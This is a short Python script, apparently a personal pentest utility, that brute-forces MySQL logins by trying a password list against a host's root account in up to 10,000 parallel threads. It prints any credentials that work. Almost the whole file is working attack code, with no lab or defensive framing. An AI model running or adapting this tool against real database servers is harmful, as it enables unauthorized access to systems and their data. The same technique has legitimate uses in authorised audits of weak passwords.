#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : pythonProject1
@File : mysqltools.py
@Author : 蓝精灵
@Time : 2025/11/2 19:30  
@脚本说明 : 
"""
import pymysql as pymysql

import pymysql
import concurrent.futures

# 干活的
def mysql_brute(ip_host="127.0.0.1", port=3306, username="root", password="", connect_timeout=5):
    try:
        conn = pymysql.connect(
            host=ip_host,
            port=int(port),
            user=username,
            password=password,
            charset='utf8',
            database="information_schema",
            autocommit=True,
            connect_timeout=connect_timeout
        )
        print(f"[+] {ip_host}:{port} 存在mysql数据库")
        print(f"[+] 账号: {username} 密码: {password}")
        conn.close()
    except Exception as e:
        pass


# 分配任务
def mysql_brute_run(ip_host, port, user, passwds):
    # 创建线程池 max_workers=1000 表示最大线程数 电脑性能可以 可以增加
    with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
        for passwd in passwds:
            # 弱口令扫描 注意需要去除空白符
            executor.submit(mysql_brute, ip_host, port, user.strip(), passwd.strip())
